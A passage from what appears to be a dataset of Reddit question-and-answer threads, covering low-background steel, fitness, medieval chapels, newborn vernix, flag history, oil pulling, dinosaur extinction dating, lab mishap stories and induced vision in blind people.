virtually identical uranium 238, and is commonly separated out by centrifuge: a very tedious and expensive process that\u2019s really only practical for nuclear programs.\n\nWe could potentially develop a similar process to separate out radioactive iron that is otherwise identical to stable iron, as well. However, the process is further stymied by the fact the other stable isotopes are heavier than Iron 55, and iron 54 is the second most abundant stable isotope found in raw iron. So, since the technical barrier is so high, and the demand is small enough, it remains cheaper to salvage what little we need.\n\nTl;dr: It\u2019s cheaper, because physics\n\nEdit: formatting, grammar", "From what I\u2019ve learned in my engineering, the steel before nuclear testing is free of impurity\u2019s that modern manufacturing cannot avoid. Therefore where necessary ionised steel is undesirable, old steel is preferred.", "Its because prior to the 1st atomic bombings cesium 137 wasnt found on earth. Its a man made radioactive elemental by product of nuclear fission. Anything made prior to the 1940s wont have cesium in it. Wine and alcohols included. Its how they determine if its a fake or not. But for radiographic instruments the precense of cesium in its own make up can throw off readings.", "The reason is actually kinda cool, after the bombs were dropped on Hiroshima and Nagasaki, all the worlds steel above ground was very lightly irradiated. That very slight signature makes all steel produced after 1945 useless for things like CAT scans and the like because the radiation they're polluted with will destroy any result you'd get. So every radiological device made today has to use steel that came from a shipwreck.", "There's a lot of answers here that are wrong.  \"Clean rooms\" won't help.  Also, it's not radioactivity in the air used in a blast furnace.\n\nAnd it's not all from fallout.  As I recall, the problem really started as a combination of factors that can best be summed up by one of those 1950's posters, with a lab-coated scientist and factory worker in overalls grinning while looking into a machine that is glowing blue, with a pregnant woman and her two cute kids watching from the side with looks of amazement, and a slogan over the top like \"Atomic Science and  < your nation here >  Workers Build a Better Future!!!\"\n\nAs I learned it, the problem started with an \"oops\" in the steel industry.  See, they wanted to simplify and speed up the ability to measure wear in some parts of the steel making process.  So they added low-level radioactive \"wear monitors\".  Like the things in your brake pads that make your brakes squeal when the pad wears down enough.\n \nSecond, there's a lot of industrial uses for radioactive sources.  Stuff like road asphalt diagnostic tools, thickness gauges, even hugely radioactive sources for sterilizing the cardboard boxes used for orange juice (look it up).  Lots of sources in the hands of people that just didn't care much about pollution (who did, in the 1960s?).  So a lot of them got thrown into the metal recycling stream rather than being handled properly.  And remember, steel isn't a \"domestic\" industry.  Scrap steel from Russia gets shipped to India to be turned into cars, that get scrapped then shipped to Venezuela to be turned into cars that get scrapped...  So just because your country did a good job of keeping track of this stuff doesnt mean diddly squat.\n\nSo now, you basically can't find a steel foundry anywhere on the planet that isn't \"crapped up\" as we say.  If you want to build one, well, where will you get the steel to make the furnaces and stuff?  That's all crapped up already.  And then you'd be saddled with crazy prices for your raw materials, since you'd be the only foundry in existence that has to track all the materials back to the iron mine.\n\nAnd it's not a really big problem anyway.  Almost no rad equipment is actually made with pre-WW2 steel.  Mostly just portions of really specialized stuff for the most sensitive laboratory instruments.  There are well-known techniques to use standard materials in layers to get nearly as good."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.sciencemadesimple.co.uk/curriculum-blogs/engineering-blogs/why-do-we-build-medical-scanners-from-sunken-battleships"], [], [], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "csvb7t", "title": "why does it take such a long time to increase your fitness/get fit but then you lose it so quickly?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/csvb7t/eli5_why_does_it_take_such_a_long_time_to/", "answers": {"a_id": ["exh5ym0", "exh5zoo", "exhcth1", "exhefxa", "exhy59p"], "score": [12, 2, 3, 3, 2], "text": ["From personal experience being in really good shape and also far too obese multiple times... This may not be the same for everyone. It took me far longer to get out of shape (80-90lb difference) than it did to get into shape. The more likely scenario is that it just feels like getting into shape seems to take longer because there is far more effort involved.", "Depends on what you define get fit as. But if we are talking about fat stores, that's because you're body is \"doomsday\" prepping. Meaning the body is great at storing excess energy as fat. It's a fat storing machine and hates to lose excess fat for a few reasons such as warmth or a cache of energy for when times get rough and food is scarce. Human beings only recently have a consistent source of food in the grand scheme of things. Before you needed to hunt and you may have gone 2 to 3 days without eating.", "Cause food is easy to get, but our bodies are developed for an environment where food is hard to get.", "Well, in the case of strength training, it takes a while to get fit because your body has to slowly build muscle by repairing damaged muscle fibers. When you lift, you're creating microscopic tears in your muscles, often referred to as \"microtears.\" When these microtears heal your body will adapt and create larger muscles so that it is prepared in the future when it encounter similar stimuli. Essentially your body doesn't want to make repairs all of the time, so for the sake of efficiency it makes you a little stronger each time it performs these repairs, that way you wont suffer the same muscular damage next time you encounter that same amount of resistance. You have to work your way up slowly because your body can only repair so much damage at once and too much damage can of course have negative effects.\n\nProblem is, your body is so efficient that when you stop exercising it decides \"well I guess we don't need these muscles anymore, we can use all of those calories your eating to make some fat stores instead, that might come in handy down the road.\" So you lose the muscles and gain fat instead. Your body can make use of these fat reserves as extra energy in case of emergency, whereas muscles can't be used as energy (at least not as efficiently) and in fact cost your body a lot of calories to maintain. This is why bodybuilders and strongmen have to eat so much. If you aren't using the muscles, they become a liability rather than an asset, at least as far as your body is concerned.\n\nHaving said that, if you were previously in good shape and lifting a lot, you can get back in shape a lot faster since your body will already be used to the stimuli. This is called \"muscle memory.\" The interesting thing about this is that when you train, your muscles not only get bigger from the repairs, you also gain more \"myonuclei\" within the muscles. Myonuclei are responsible for healing your muscles and making them grow larger. When you stop training, your muscles will shrink but you keep the extra myonuclei you gained, so your body can make repairs more quickly and efficiently the second time around.", "In shape people are harder to keep alive food-wise and your body is an ultra conservative ass.\n\nBasically, getting in shape is an uphill battle cuz our body thinks we\u2019re still in the hunter/gatherer age getting by on a caribou a week. As such it wants to use as little energy as possible."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "1j5j41", "title": "Why were some chapels built far from inhabitated centres?", "selftext": "Sometimes you come across small churches or chapels from the Middle Ages or Renaissance that were built in places that, as we know, were basically woodland or marshland at the time, far from villages and sometimes even farmhouses. Sometimes even parish churches were built far from the village/town they served. \nWhat was the rationale behind it?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1j5j41/why_were_some_chapels_built_far_from_inhabitated/", "answers": {"a_id": ["cbbc78m", "cbc16bn"], "score": [2, 2], "text": ["Many times monasteries and churches were built on land which was donated to the church by a king; so it was a case of \"take what you get\".\n\nAlso, a lot of monastic orders stressed avoidance of societal temptations in favor of a life of religious contemplation and work.  Having your base of operations far from towns and cities would make this easier.", "Some chapels were build for hermits, religious persons who lived a monastery-like life on their own. [This one for example](_URL_1_) is still away from habitation, it was build in 1688 and had a hermit living there until 1930.\n\nIn this area of the Netherlands [*Limburg*](_URL_0_), you will find many small chapels at crossroads or along the roads in the middle of the fields. They were small shrines build by the local population to commemorate events (a murder, or a miracle), and although not used for regular mess, people would pray there if they passed."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Limburg_%28Netherlands%29", "http://nl.wikipedia.org/wiki/Kluis_op_de_Schaelsberg"]]}
{"q_id": "bidc1x", "title": "if babies spend ~ 9 months in a bag of water, why don\u2019t they come out looking like i do after spending 30 minutes in the tub?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/bidc1x/eli5_if_babies_spend_9_months_in_a_bag_of_water/", "answers": {"a_id": ["elzrnjc", "elzrry8", "elzsadx"], "score": [25, 13, 7], "text": ["They are covered by a layer of a greasy substance, vernix. This somewhat prevents the skin changes resulting in wrinkles. They can be a little wrinkled though.", "Because of the vernix. It is a waxy like coating that covers baby.  Generally thicker coating of it before \"term\" and add they get closer to full term the coating gets thinner.  \nThink coating your body in vaseline before going in the pool.", "Babies have  something called the vernix caseosa, a protective layer on a baby\u2019s skin. It develops in the womb, and makes sure the wrinkles from liquids that typically form when you swim or take a bath do not form on the baby. It also doubles as infection protection in the womb. Sometimes traces of the vernix caseosa are found on babies after birth, and bathing newborns removes this white substance (and removes the other fluids on the newborn\u2019s skin)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "66t52x", "title": "The Puerto Rican and Cuba flags are almost identical, excepted for the reversed color scheme. How did these similarities come about?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/66t52x/the_puerto_rican_and_cuba_flags_are_almost/", "answers": {"a_id": ["dgl4jvo"], "score": [3], "text": ["At the end of the Spanish colonial rule period, the Cuban Revolutionary Party had devised its own flag for Cuba.  Given the historic brotherhood of Cuba and Puerto Rico, the Puerto Rican flag was made as a mirror of the Cuban flag colors by the Puerto Rican section of the party (a group of 59 Puerto Rican exiles in Cuba acting in favor of Puerto Rican independence) as a gesture of solidarity between both islands' independence movements.\n\n\nSources:\n_URL_0_\n\n_URL_1_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://flagspot.net/flags/pr.html", "http://www.jibaros.com/flag.htm"]]}
{"q_id": "1w5y65", "title": "what are the benefits of oil pulling and what is going on when i do it?", "selftext": "I do oil pulling, which is swishing raw organic coconut oil for 15 minutes. I wanted to know what the science was behind it and if using olive oil was better or produce different results. \n\nCan I also ask for an ELI20 as well? I liked how light moving through surfaces was explained in multiple ways", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1w5y65/eli5_what_are_the_benefits_of_oil_pulling_and/", "answers": {"a_id": ["cez21vf"], "score": [2], "text": ["From what I understand it doesn't kill bacteria. The swishing of the oil pulls out the bacteria from in between teeth and other crevasses and suspends it in the oil.  You aren't supposed to swallow the oil because of the bacteria within it.\n\n\nThere are extreme believers that oil pulling is  cure all for basically anything.  The thought is that pulling can cleanse the blood through contact with the larger circulatory blood vessels under the tongue.  And it takes 20 minutes or so for your blood to complete a cycle.   The oil comes in contact with these vessels and pulls out the toxins.\n\n I've read threads where people claim it has cured their arthritis to high blood pressure.  I personally cannot wrap my mind around this part.\n\n\nI admit that I do oil pulling. It makes my mouth feel fresh. I pull for 20 mins, brush with just a tooth brush, and then rinse with water.  It has helped my tooth sensitivity too which is nice"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3z6fhb", "title": "at what point will the dinosaurs have gone extinct 66 million years ago, instead of 65 million?", "selftext": "What I mean is, these numbers are calculated using relative dating and isotopic analyses, so I understand they're not exact.  But how much time must pass before archaeologists and paleontologists say that we've moved past that threshold into the 66 million year mark?  Is it a million years from the first time the \"65 million year\" date was presented?  Or is it that these geologic timeframes are just so long and so much greater than human life that they'll never change?   ", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3z6fhb/eli5_at_what_point_will_the_dinosaurs_have_gone/", "answers": {"a_id": ["cyjkutp", "cyjkzek"], "score": [25, 70], "text": ["Well, according to [Wikipedia](_URL_1_),\n\n >  more specific radioisotope dating yielding an age of 66.043 \u00b1 0.011 Ma [million years]\n\nSo, it already is - the 65 million year date seems out of date with more accurate measurements. As far as that time period goes, 0.011 Ma is 11,000 years, 0.43 Ma is 43,000 years. This means that the predicted date of the extinction went from 65 to 66 million years 43,000 years ago, give or take 11,000 years.\n\nIn more concrete terms, according to [this other Wikipedia page](_URL_0_), this change happened about the time that Neanderthals died out, plus or minus an error the size of the time it's been since the beginning of agriculture to now. (These rough statements used only to judge the scope of how long ago and the error in that measurement in \"humanist\" terms that are easy to grasp).", "It already has.\n\n > In a 2013 paper, Paul Renne of the Berkeley Geochronology Center reported that the date of the asteroid event is 66.043\u00b10.011 million years ago, based on argon\u2013argon dating. He further posits that the mass extinction occurred within 32 thousand years of this date.[3][122]\n\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Timeline_of_human_evolution", "https://en.wikipedia.org/wiki/Cretaceous%E2%80%93Paleogene_boundary"], ["https://en.m.wikipedia.org/wiki/Cretaceous\u2013Paleogene_extinction_event"]]}
{"q_id": "helbu", "title": "Lab Confessions: r/askscience what are some of your more ridiculous lab mishaps?", "selftext": "I will start:\n\nAliquoting 100 mL of glacial HCL in order to ph something, without realizing what the molarity of the HCL was. \n\nMaking ~300 plates with agarose and then having to have my P.I. remaking them while I continued with the experiment. ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/helbu/lab_confessions_raskscience_what_are_some_of_your/", "answers": {"a_id": ["c1ut0xx", "c1ut3ol", "c1ut95w", "c1utafa", "c1utbky", "c1utf6f", "c1utftb", "c1uthzy", "c1utx4t", "c1uu22q", "c1uu25j", "c1uu2bf", "c1uu5ta", "c1uua21", "c1uudoa", "c1uugl2", "c1uuk9s", "c1uutjz", "c1uv5o5", "c1uviy8", "c1uw8j1"], "score": [21, 8, 2, 5, 6, 26, 6, 26, 11, 7, 2, 42, 5, 40, 7, 12, 4, 2, 2, 2, 2], "text": ["Very few lately.  I think that's a good thing.  Back in the day, there were two that was pretty silly.\n\n--\n\nThe first was a \"design your own experiment\" lab, where we were supposed to determine accurately the concentration of some HCl.  I chose to react it with Mg^0 and trap the H2 gas in a glass syringe... then thought - hey!  What happens if it's not pure H2?  How can I test that?\n\n\"Well, if it were pure H2, when I bring a lighted flint to it, it should burn at the mouth where it mixes with O2...\"  Well.  It *wasn't* pure H2, and the thing blew up in front of me.\n\n--\n\nIn the same lab, I tried to forge from pipettes a glass horse for a girl I had a crush on.  It was working fine until one leg melted beyond control.  With lightning reflex, I caught the molten glass in midair.", "I once accidentally ripped the lab door off its hinges.", "i blew up a bottle of buffer in the microwave while trying to dissolve the participate back into solution. was definitely one of my weaker moments. ", "Had an old advisor who had a student turn a diffusion pump into a rocket engine. (Blew the bell jar straight through the ceiling)", "I blew up a glass vial of lanthanum metal and iodine at ~300 C, I had a chunk of glass embedded in my cheek for ~8 months.  I still have the piece of glass!\n\nAlso, it's glacial acetic acid (100% acetic acid) and conc. HCl (28% HCl in water), glacial HCl doesn't exist, the straight pure state of HCl is a gas, which you can actually buy.", "I dropped my favorite pen in an emeritus professor's office and it rolled behind a stack of papers that was older than time itself.  It is probably still there.\n\nEdit: Maybe we need a /r/theoristproblems akin to /r/firstworldproblems.", "I ran an agarose DNA gel overnight at the 1 hour voltage and the buffer evaporated and the electricity arced from the two polls in the rig. It caught fire and melted on the lab bench. Luckily it did not set off the sprinklers. I was an undergrad many many years ago. ", "Not exactly a lab story, but you'll probably appreciate it anyway.  Here is a story from my dad when he was in school to become a veterinarian.  Not sure how accurate it is, but I\u2019ve been hearing about it since I was about 10 and it\u2019s one of the best stories my dad tells.  This woman brings in her pet bird with a tumor on its wing and it is decided that they need to operate in order to remove it.  Now this lady really loves her bird and refuses to leave it alone in the operating room so they let her stay in the room while they operate.  Because it is a small animal and they need to keep it from moving they use ether to put it under.  Once it\u2019s asleep they get to work on the tumor and start removing it.  Like I said before, this lady really loves this bird and as soon as she sees blood she starts freaking out and screaming her head off.  This causes a student to panic, and what does he reach for?  An electric cautering gun to stop the bleeding.  Unfortunately it did a bit more than that.  As soon as he hits the site of the tumor the ether ignites and BOOM the bird is instantly vaporized.  Dude had to walk around the operating room picking up bits of bird with a shoebox.\n\nEdit: this was a story my dad heard from a professor, he was not there when it happened", "I've destroyed an explosion proof freezer before.\n\nDestroyed an autosampler once by sticking a vial in a spot that was actually occupied (it was taken out by the autosampler and when it returned to the vial location... well, you can't really put a vial in a vial.).\n\nFried a motherboard for a sample manager system for an LC system.\n\nNot a mishap, but left a bottle of 0.05% Acetic Acid sitting around for a month.  Some fungus started growing in it, and my boss saw it and decided to keep it around for posterity.  So now I have a pet fungus at lab.\n", "A female grad student at my university decided it would be a good idea to try and distill an azide (not sure exactly what it was).\n\nAnyway (predictably) the appuratus exploded, and she was lucky to get out of there. Her lab coat was totally shredded, the number of stitches at the hospital were up around 100 (It would have been more, but some of the glass shards were hot enough to cauterize the cuts).\n\nThere was also a 2 inch long piece of glass that had made it halfway through her goggles before it embedded itself in them.\n\nAnother student ive heard of was doing a lithal reduction and instead of adding cold water slowly while the flask was in an ice bath to kill the remaining lithal, he poured in a bunch of water all at once and the whole thing exploded.", "I forgot to dilute a 10x running buffer. I remembered when the electrodes began to arc :/", "I cut into a minks anal gland once. It felt like being punched in the face. All my facial orifices instantly started running with tears, snot, saliva or whatever was in there. I was temporarily blinded. When I could see again I made it out into the hallway where people were already wondering what the hell happened. The building had to be evacuated. Did I mention it was a rotty road-killed mink? Imagine a skunk spraying you in the face from a rotting place in hell. Now smash your face with something. Like that. BUt chokingly, blindingly and breathtakingly smelly. ", "Was trying to get the last bit of reagent out of a small glass tube with a breakaway top, so I inverted it in a plastic micro tube and flash spun up until around 300g when it shattered. I had to take the entire centrifuge apart, clean out the extremely tiny pieces of glass, wipe the reagent off everything and put it back together. Apparently the glass shards were sharp enough and denser than the plastic, so they cut through the micro tube.", "I've posted this before, and it's not so much a mishap as a glorious once-in-a-lifetime fuckup, but here goes:\n\nI work in a lab that goes through a lot of rats. We only need the brains for our experiments, so we often share tissue we don't need with other labs.\n\nOne day, a cute girl comes in to collect the rat tissue. When we put rats down, they spend 6-7 minutes in isoflurane, because a bunch of hippies decided that it was \"cruel\" to just lop their heads off with a guillotine while they were still awake, but I digress. Anyway, while the rat's falling asleep, we're talking and hit it off pretty well (at least, better than any other interaction I've ever had with a girl). This is her first week working in a lab, she's never seen a rat before, never seen an animal killed before, etc. (Honestly, at this point, I'm paying more attention to her boobs than the conversation. In hindsight, this was probably a mistake.)\n\nThat's six minutes; time's up. I grab the rat by the tail (that's how you pick them up, but she had no idea of that fact), stare it straight in it's half-open, unconscious eyes, and say in a flawless Dirty Harry voice:\n\n\"I know what you're thinking. Did he kill six rats this week, or only five? To tell you the truth, in all this excitement, I've kind of lost track myself. But seeing as this here's a Harvard 150mm guillotine, freshly sharpened, and will tear your head clean off, you've got to ask yourself one question: Do I feel lucky? Well, do ya, punk?\" (I rather enjoy saying one-liners when I kill rats, and I consider it good practice for when I run the world and need good one-liners for dispatching spys, superheroes, and IACUC members who oppose me.)\n\nNeedless to say, the unconscious rat didn't respond, so I plunked him on the guillotine and slammed it down. Immediately, the sink fills with blood (OK, it doesn't fill, but about 6 mL of blood comes out of a rat when you kill it, and it's enough to cover the bottom of the sink), and as the sink turns from white to red, her face turns from red to white, and her mouth opens slightly in a look halfway between a scream and that look that most women have on their face when I ask for their phone number.\n\nAaanyway, long story short, we didn't end up having sex.", "I work in an electrical lab, the lab tables we have are wood, and painted with some sort of generic black paint.\n\nOne day, we got a hold of a 20kV transformer, and decided to make cool arcs with it, because we were bored. The positive end of the transformer was lying on the table attached to a metal plate, and the negative was in a 10kV rated glove on my right hand. My left hand was on the table.\n\nLong story short, wooden tables conduct very well at 20kV, and 10kV rated gloves are only rated for what they say they are. ~10,000 volts at 100mA in one hand and out the other, right across my heart. I didn't die, though, and the arc it made *was* pretty cool.", "You know how you always wear your eye protection, yet nothing ever comes near?\n\nWell, I know a girl named Carol. She never wore her safety glasses. Now she doesn't need them, since she's blind.", "Thought I got hydrofluoric acid on my hands once. No biggie. ", "When I was 8 I leaned over my Mom's ultrasonic cleaner and took a breath.  I'd been warned not to do this but I wanted to see what was inside and it was an accident.  \n\nIt felt like someone poured fire up my nostrils and it just knocked me flat on my back.\n\nI should mention that this was a large industrial model, probably 6 feet long, 2 feet wide and 3 feet deep.  So there were a lot of concentrated fumes.\n\nAfter that I was more careful in her lab.", "Got email that the -80 had been left cracked for a few hours the night before. Got up to -30 before anyone caught it. It was likely me. Stupid tired, ready to go home late at night I didn't shut it well. This freezer had a decades worth of everything the lab had ever done. Everything turned out fine, all the samples tested came out fine and I bet the thing never broke -60 or -70. Sickest I've ever been in my life after that. For years, I would have nightmares if I had even touched the thing and sometimes couldn't sleep at night until I had gone in to check on it. I got to where I looked at it before I left every night.", "Woken up by phone call at 2 AM while on call working in a diagnostic lab, groan about another colic case, sleepily go \"What's up?\" to have a voice on the other end go \"We put the box in the hall\" and hung up.  The hell?  That doesn't help me at all! \n\nI consider it's probably a wrong number and want to go back to sleep but, well, there's a box in a hall somewhere and I'm going to be getting paid for 3 hours of work for making a 5 minute drive down to the lab, so I haul myself out of my cozy bed and drive down to the school.  \n\nI get to the lab and nothing is in the hallway, but I do go in the back way so maybe it's out front.  Yup, big ol' box labeled with...nothing of use to me.  Now I should note I'm an undergrad while doing this, so I don't know shit about anything other than what they trained me to do, and 'mysterious boxes at 2 AM' was not on my checklist of core competencies during training, so I look at the box, find a single label with 'tiger tibia' hastily scrawled on it, and that's it.  No instructions, no hints, and no answer at the end of the line.  So I take the box with its mysterious contents, stick it in the freezer (doh), leave a note for the pathologist, and go back home to rack in my $21 for 15 minutes of time.  \n\nAnd that's how I learned that you're supposed to refrigerate tiger tibias (and other tissue samples).  Luckily the tiger had more than one leg and they saved both during necropsy, keeping one downstairs and sending one upstairs.  ", "Using a cryostat microtome I managed to cut through the top of my index finger.  Luckily it was at the point past the bone and thanks to the -20 C temperatures and extremely sharp blade it was sterile and a clean cut.  I kept my finger in the cryostat, collected the cut off tip, called a friend (it was 730pm, everyone else had gone home), got a styrofoam box and filled it with dry ice, exited the building, went to the ER, and got my tip re-attached with 12 stitches.  Today, no marks except for a ring around the tip where my fingerprints skip a millimeter ;)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "21i381", "title": "the distortion of your perception of the speed of time at random times", "selftext": "For example, there will be moments throughout the day you can be doing your thing while listening to music, when you notice that the tune is going a lot faster in terms of bpm than it should be. \n\nI can't be the only one that notices this right? Its not the device, because this has happened several times in the past as well, where things seemed to be going faster than they should be. \n\nAlso I'm somewhat new to reddit so I don't know how to find out if a topic has been done already.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/21i381/eli5_the_distortion_of_your_perception_of_the/", "answers": {"a_id": ["cgd7tc3"], "score": [2], "text": ["here is a fun thing to try, watch the second counter of and analogue clock, when you move your eyes to it, that second always seems longer than it should be. you can try this with windows clock..."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "9puq5v", "title": "why is it that newborns have immunity to sicknesses but don't keep it as they grow?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9puq5v/eli5_why_is_it_that_newborns_have_immunity_to/", "answers": {"a_id": ["e84dtjc", "e84dyno", "e84e0pv", "e84fhk8"], "score": [6, 3, 3, 2], "text": ["Newborns have an immune system, but perhaps it hasn't been exposed to all the bugs that adults have had time to be exposed to, which is why doctors have a program of vaccines for newborns and kids.\n\nThey don't have immunity; they're more fragile and susceptible to sickness than adults are.   Your premise is wrong.", "They do? I thought newborns have historically died from sickness. ", "They don't.. they can get sick and die.. \n\nTheir mother's first milk is colostrum, it provides anti-bodies to things she has been exposed to, and is very important for early protection until the baby starts making it's own anti-bodies, but make no mistake, babies can still get sick and can die.", "The baby gets the benefit of the mothers immune system as long as the baby is still breastfeeding. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "58t0l2", "title": "Can we induce visual experiences in someone who has been blind from birth by stimulating their brain?", "selftext": "I know we can induce visual experiences in people who already have a functional visual system, [for example, in this subject](_URL_0_), or those who had a functional visual system but lost some functionality due to disease or injury. However what I am unaware of, is if it's possible to induce visual experiences in individuals who have been blind from birth, e.g. those that have no eyes, via stimulating or inducing the relevant activity in their brain. \n\nEdit: The majority of responses seem to be missing the point of my question. Perhaps I was not specific enough. The question I was getting at is, what is necessary for the having of a visual experience? It is often said that we don't \"see\" with the eyes because for example one can have visual experiences by stimulating the visual cortex. So from that type of finding it would seem the necessary components, e.g. the neural circuitry, for inducing visual experiences are in the cortex. If that were the case, then in theory it should be possible to create the relevant activity, either by continued stimulation directly to the cortex to create the right circuitry which would then allow for the right kind of activity, or by stimulating the circuitry that is already there, to mimic the activation pattern that is taken to be the necessary component in the generation of a particular visual experience. That is why I asked if we can induce visual experiences in someone who has been blind from birth by stimulating their brain (should have specified cortex). Because if we can, then we really can discount pre-cortical processing in being necessary for the generation of visual experiences. This might prove to be more of a technical issue, especially [as we don't yet](_URL_1_) have a detailed account of the activity that is at least sufficient to generate a visual experience. However, if it isn't possible to induce visual experiences directly in the cortex, in the absence of external input through the pathway of the retina - >  LGN etc., then pre-cortical processing might play a bigger role than is currently thought.", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/58t0l2/can_we_induce_visual_experiences_in_someone_who/", "answers": {"a_id": ["d936893", "d936ebb", "d938cgf", "d938ef5", "d938fhc", "d938is7", "d938tm8", "d93dtho", "d93e6o5", "d93fb3t", "d93fepz", "d93h0z6", "d93m34e", "d93mc7i", "d93mgmo", "d93rsj9"], "score": [807, 17, 12, 2, 35, 2, 107, 2, 2, 4, 3, 18, 3, 2, 3, 2], "text": ["Vision is a complex process and any part of the chain being broken can cause blindness. If the blind person suffers from an optical nerve or an eye dysfunction, the visual area in the brain is probably functional albeit not as developed as a normal person, then yes. \n\nOn the other hand, for someone who is unable to process the electric signal brought in by the optical nerve, they certainly couldn't \"see\" even by electrical stimulation of the appropriate area.", "You should read the book Incognito by David Eagleman. It's basically about how your brain works under the hood. Definitely a recommended read. Anyway, he describes devices which serve to substitute your sense of vision. One of them works by delivering image data as small vibrations to your back, and the other fits on your tongue and delivers small electric shocks. In both cases, the patients slowly learn to interpret the strange stimuli as visual information, and can navigate themselves/avoid obstacles/recognize faces.\n\nThere's even one rock climber using the back vibration device in his climbs, so I guess it's fairly possible, or even easier to simulate vision by directly stimulating the brain itself. Our brains are very plastic.", "There was a study done to test this using LSD on blind people. \n\nHere is the [source.](_URL_1_)\n\nHere is the [Full study.](_URL_0_)\n\n14 of the 20 non-congenitally blind (lost sight after birth) subjects experienced visual hallucinations. Conclusions indicated that a normal retina is not needed for visual hallucination.", "There was an [earlier post regarding stimulating the visual cortex](_URL_0_) a while back that had some interesting and relevant responses.  ", "Oliver Sacks, in one of his typically marvelous books, describes the case of an adult man who was blind from birth.  The details of his blindness were such that a (new and fairly controversial) surgery could reconnect his eyes to his brain.  His visual cortex was now receiving full information.  (I'm obviously glossing over details, both because Sacks doesn't go into the gory details and because it's been a while since I read all this.). \n\nThe upshot was, although the man was now receiving visual stimulus, he had no way to interpret what he was \"seeing\".  For example, he couldn't understand that a small signal in the visual field could be either a small object close or a large object far away.\n", "Coming from a background in audiology (where we use cochlear implants to stimulate the brain into \"hearing\"), in theory yes we could. however, it would take quite some time for the brain to figure out what to do with the input signals and the person experiencing this would never have even near the kind of sight that people with previously impaired vision or normal vision. it would (again, this is conjecture based on how we teach the brain to hear) probably look like simple shapes and light or dark, with no detail or color, if even that.", "There is an excellent book called [An Anthropologist on Mars](_URL_0_) by Oliver Sacks containing several essays about neurological case studies. One of them is about a man who, had lost his sight while very young, had it restored. He exhibited a number of issues processing the information. For example, he had great difficulty in recognizing his dog from moment to moment. If he looked at his dog, and was told that it was his, he was OK. If he looked away and then looked back after the dog changed positions, he could not recognize the dog any more. He had difficulties with depth perception that made it hard for him to judge whether an object (the wall for example) was several feet away from him or inches away.\n\nIt's a great book and I highly recommend it for anyone who is interested in some of the more odd ways that our brains can work, not work, and work its way around problem areas.", "I am not really sure if this is the right place but I have a question on the same lines. What do fully blind people see when they are under the influence of lsd and how do they describe what they witness? ", "I remember reading that when investigating some practical uses for radium, Marie Curie (or one of her coworkers) discovered that it was possible to stimulate visual feelings in blind people by bringing radioactive materials close to their eyes and brains. I do not know if they were blind from birth. I could find a link at _URL_0_", "I don't know of any studies examining this question in people blind from birth. [Here's a study](_URL_1_) investigating exactly this question, though it only found evidence for visual experience in totally blind patients who were previously sighted. This study used Transcranial Magnetic Stimulation (a method of using electromagnetic pulses to generate spontaneous neural activity at a localized brain region) over the visual cortex in congenitally and non-congenitally blind people, resulting in some participants reporting [phosphenes](_URL_2_) (those little flashes of light you sometimes see when rubbing your eyes). They found 2/10 of completely totally blind people reported phosphenes, though both of those participants had previous visual experience.\n\nTo consider your question theoretically, it's worth thinking about (as some other people have mentioned) the different ways people can be blind. If someone has a lesion to their occipital cortex, my (educated) guess is that you would not be able to induce visual experience in them through brain stimulation. The only way this would be possible, I think, is if you had someone who lost their visual areas of the brain early in childhood, which would potentially allow for plasticity to repurpose some of their brain for visual perception.\n\nHowever, the case of someone who is congenitally blind for non-cortical reasons (e.g., retinopathy, in which the retina no longer works, or cataracts, where the lens is clouded) is perhaps more interesting. There is [research](_URL_3_) that the brains of some people who are blinded after birth are reorganized to repurpose parts of the occipital cortex for non-visual activities like braille reading. If the result of this is a loss of visual function for these areas, it is possible that brain stimulation among these participants in visual areas would not cause visual experience, but that would have to be tested experimentally.\n\nOne last interesting finding: [This article](_URL_0_) found that totally congenitally blind people  were able to perform spatial reasoning tasks (eg comparing two rotated shapes) that, for sighted people, typically require the use of mental imagery, where you imagine the two things in order to do a task. This study is far from conclusive, but could suggest that these participants retain a sort of spatial imagination that may or may not qualify as visual experience.\n\nTL;DR: I don't think there's a conclusive answer to this question. It seems like congenitally blind people can do some sort of spatial reasoning that to sighted people can be considered 'visual experience', but whether this is the same for blind people is unclear. The answer among people blinded after birth is almost certainly yes, they can have visual experiences.\n\nedit: citations", "I'm reading a biography on Tesla. Apparently he hallucinated a lot during his life. He thought intense brain activity might force your eyes to see something. The book claims he dedicated a lot of time to proving this, and thought we should be able to put our thoughts on screen in this way. It's an interesting thought.", "A person blind from birth given visual images through brain stimulation would experience a confusing flood of stimulation that he would no references for. He likely wouldn't recognize it as sight nor associate with his eyes. A person blind from birth has a sense of what things \"look like\" through having touched, handled, and examined many objects, but the is no mapping between this touch information and visual information. We experience thing very differently through sight than we do through touch. Sight, for one thing, is essentially two dimensional \u2013 we have to learn how depth is represented visually before we can perceive it, while touch is 